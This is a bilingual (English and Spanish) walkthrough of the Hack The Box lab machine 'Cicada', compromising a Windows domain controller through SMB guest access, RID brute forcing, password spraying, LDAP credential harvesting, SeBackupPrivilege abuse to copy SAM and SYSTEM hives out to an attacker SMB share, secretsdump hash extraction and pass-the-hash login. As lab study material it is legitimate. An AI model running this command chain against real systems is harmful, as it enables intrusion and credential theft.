Cicada Write Up
Reconnaissance
This machine is part of the seasson 6 of Hack The Box, and although it is finished, these machines are available to keep practicing and learning.
As always, to start we will scan the open ports to identify the services running on the machine.
1
nmap -p- --open -sS --min-rate 5000 -n -v -Pn 10.10.11.35 -oN IScan
- -p- Reference all ports (1-65535)
- –open Only display open ports
- -sS Perform a SYN scan, stealthy
- –min-rate 5000 Send packages no slower than the indicated ones
- -n DNS resolution does not apply
- -v Show the results in real time (verbose)
- -Pn Means that the host are alive
- -oN IScan Saves the output in the specified format
Now we want to discover the version of these services also send some reconnaissance scripts.
- -sCV Gets the version and sends recognition scripts
- -p Indicated the ports to scan
There are a lot of interesting services to enumerate, like ldap, kerberos, winrm, but the most interesting one is smb so let’s try to list the shared files.
1
smbclient -L 10.10.11.35 -N
With smbclient we can’t list the permissions that we have over the shared files, so let’s do this with smbmap or crackmapexec.
1
crackmapexec smb 10.10.11.35 -u '' -p ''
This command is not showing any output, so let’s try with the guest user, which usually is enabled.
1
crackmapexec smb 10.10.11.35 -u 'guest' -p ''
As we can see in the image, we have access to the HR and IPC$ directories.
Explotation
If we list the content of HR we will see a text document that looks like a welcome message to a new employee, although we don’t know who it is.
1
smbmap -H 10.10.11.35 -U 'guest' -r HR
1
smbclient \\\\10.10.11.35\\HR -U 'guest'
In this file we find a plain text password, so now we are interested in finding usernames. As the ldap service is open we can try to use ldapsearch to dump information from the domain, but this will display an error.
Another tool we can try to enumerate users is netExec which has an option called rid brute force, that allow us to try different RIDs to detect valid users.
1
nxc smb 10.10.11.35 -u 'Guest' -p '' --rid-brute --ignore-pw-decoding >> nxc_output.txt
The format in which the output is stored will be more useful if we filter it and store the names directly.
1
cat nxc_output.txt | awk '{print $6}' | tr '\' ' ' | awk '{print $2}' | sort -u >> names.txt
Now that we have users and a password, we can try tools like hydra or crackmapexec to find the owner of the password.
1
crackmapexec smb 10.10.11.35 -u names.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
As we can see, the password belongs to the user michael.wrightson, but if we try to see if we can connect to the machine through winrm, crackmapexec will show us that the user is not allowed. Another thing we can try is, having valid credentials, to run again ldapsearch.
1
ldapsearch -x -H ldap://10.10.11.35 -D 'cicada\michael.wrightson' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb"
In this huge output, we can search for “password” and we will find the description of David Orelious with his password noted.
As with the previous user, David is not member of the Remote Management Users so we can’t connect through winrm. If we try to access to his shared files, we will see that we have access to the DEV directory.
1
2
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -r DEV
In this directory we found a powershell script which we can download to see the content.
1
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --download 'DEV\Backup_script.ps1'
In this file we can see a plain text password which belongs to the user Emily. Once we can use crackmapexec to check if we are able to connect to the machine using evil-winrm.
1
crackmapexec winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
The “pwned” word means that we can connect through winrm.
1
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Privilege Escalation
After a short enumeration we see that Emily is member of SeBackupPrivilege group, which allows to obtain the content of files even if the user doesn’t have permissions to access them.
1
whoami /priv
To abuse of this we can copy the administrator flag into any directory or try to get an interactive shell by copying the system and sam files which is the option I am going to do.
1
2
3
mkdir C:\temp
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
Now with smbserver.py we can transfer these files into our machine.
1
python3 smbserver.py smbFolder $(pwd) -smb2support
And from the victim machine we run the following commands.
1
2
3
copy C:\temp\sam \\tu_ip\smbFolder\sam
copy C:\temp\system \\tu_ip\smbFolder\system
With the SAM and SYSTEM files in our machine we can get the hashes of the users with the tool secretsdump.py of impacket.
1
python3 secretsdump.py -sam sam -system system LOCAL
Finally, with the NT part of the hash of the user administrator we can connect with evil-winrm.
1
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Reconocimiento
Esta máquina pertenece a la temporada 6 de Hack The Box, y aunque ya haya acabado, estas máquinas están disponibles para seguir practicando y aprendiendo.
Como siempre, para comenzar lanzaremos un escaneo de puertos para identificar los servicios que corren en la máquina.
1
nmap -p- --open -sS --min-rate 5000 -n -v -Pn 10.10.11.35 -oN IScan
- -p- Indica todo el rango de puertos (1-65535)
- –open Únicamente muestra los puertos abiertos
- -sS Hace un escaneo “SYN”, más sigiloso
- –min-rate 5000 Envía paquetes no más lentos de los indicados
- -n No aplica resolución DNS
- -v Muestra lo que encuentra en tiempo real (verbose)
- -Pn Da por hecho que los hosts están activos
- -oN IScan Guarda el output en el formato mostrado, en ese archivo
Ahora nos interesa averiguar la versión de cada uno de estos servicios y de paso probar algunos scripts de reconocimiento.
1
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,58625 10.10.11.35 -oN SScan
Tenemos varios servicios interesantes con los que probar como ldap, kerberos, winrm, pero el que más me llama la atención es smb por lo que vamos a listar los recursos compartidos en caso de que los haya.
1
smbclient -L 10.10.11.35 -N
Como con smbclient no podemos listar los permisos que tenemos sobre los archivos compartidos, podemos usar smbmap o crackmapexec.
1
crackmapexec smb 10.10.11.35 -u '' -p ''
Este comando no nos muestra ningún output por lo que probaremos con el usuario guest, que suele estar habilitado.
1
crackmapexec smb 10.10.11.35 -u 'guest' -p ''
Como se muestra en la imagen tenemos acceso a HR y a IPC$.
Explotación
Si listamos el contenido de HR, veremos un documento de texto que parece dar la bienvenida a un nuevo usuario, aunque no se especifica a quién.
1
smbmap -H 10.10.11.35 -U 'guest' -r HR
1
smbclient \\\\10.10.11.35\\HR -U 'guest'
En este archivo encontramos una contraseña en texto plano, por lo que ahora nos interesaría encontrar algún nombre de usuario. Al estar ldap expuesto podemos tratar de dumpear información con ldapsearch, sin embargo salta un error.
Otra herramienta que podemos usar es netExec para enumerar usuarios. Una de las opciones que podemos utilizar es rid brute force, que es una técnica que consiste en probar distintos RIDs para detectar usuarios válidos.
1
nxc smb 10.10.11.35 -u 'Guest' -p '' --rid-brute --ignore-pw-decoding >> nxc_output.txt
El formato en el que se ha almacenado el output nos será más útil si lo filtramos y almacenamos directamente los nombres.
1
cat nxc_output.txt | awk '{print $6}' | tr '\' ' ' | awk '{print $2}' | sort -u >> names.txt
Ahora que contamos con varios usuarios y una contraseña, podemos probar con herramientas como hydra o crackmapexec para ver si la contraseña pertenece a algún usuario.
1
crackmapexec smb 10.10.11.35 -u names.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
Como vemos la contraseña pertenece al usuario michael.wrightson, pero si tratamos de conectarnos por winrm, crackmapexec nos mostrará que no podemos. Otra cosa que podemos probar es, ya teniendo credenciales válidas, volver a lanzar ldapsearch.
1
ldapsearch -x -H ldap://10.10.11.35 -D 'cicada\michael.wrightson' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb"
De todo este output, podemos filtrar por “password” en busca de contraseñas y encontraremos en la descripción del usuario David Orelious su contraseña anotada.
Al igual que con el usuario anterior, David no pertenece al grupo “Remote Management Users” por lo que no nos podemos conectar por winrm. Si tratamos de listar recursos compartidos con este usuario vemos que podemos acceder al contenido del directorio DEV.
1
2
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -r DEV
En el directorio DEV encontramos un script que podemos descargar para ver el contenido.
1
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --download 'DEV\Backup_script.ps1'
En este script de powershell podemos ver una credencial en texto plano que pertenece al usuario Emily. Una vez más, con crackmapexec, comprobamos si podemos usar estas credenciales para conectarnos con evil-winrm.
1
crackmapexec winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
La palabra “pwned” quiere decir que podemos conectarnos.
1
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Escalada de Privilegios
Tras enumerar un poco vemos que el usuario Emily pertenece al grupo SeBackupPrivilege, que permite obtener el contenido de archivos incluso aunque el usuario no tenga permisos para acceder a ellos.
1
whoami /priv
Para aprovecharnos de esto podemos copiar o bien la flag del usuario administrator, o copiar los archivos SAM y SYSTEM para tratar de obtener su hash NTLM y ganar acceso por medio de una consola interactiva. Yo haré esta última opción.
1
2
3
mkdir C:\temp
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
Ahora con la utilidad smbserver.py de impacket nos transferimos ambos archivos.
1
python3 smbserver.py smbFolder $(pwd) -smb2support
Y desde la máquina víctima copiamos los siguientes comandos:
1
2
copy C:\temp\sam \\tu_ip\smbFolder\sam
copy C:\temp\system \\tu_ip\smbFolder\system
Con el SAM y SYSTEM ya en nuestra máquina, podemos sacar los hashes de los usuarios con la herramienta secretsdump.py de impacket.
1
python3 secretsdump.py -sam sam -system system LOCAL
Y ahora con el hash del usuario administrator podemos conectarnos con evil-winrm proporcionando la parte NT.
1
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341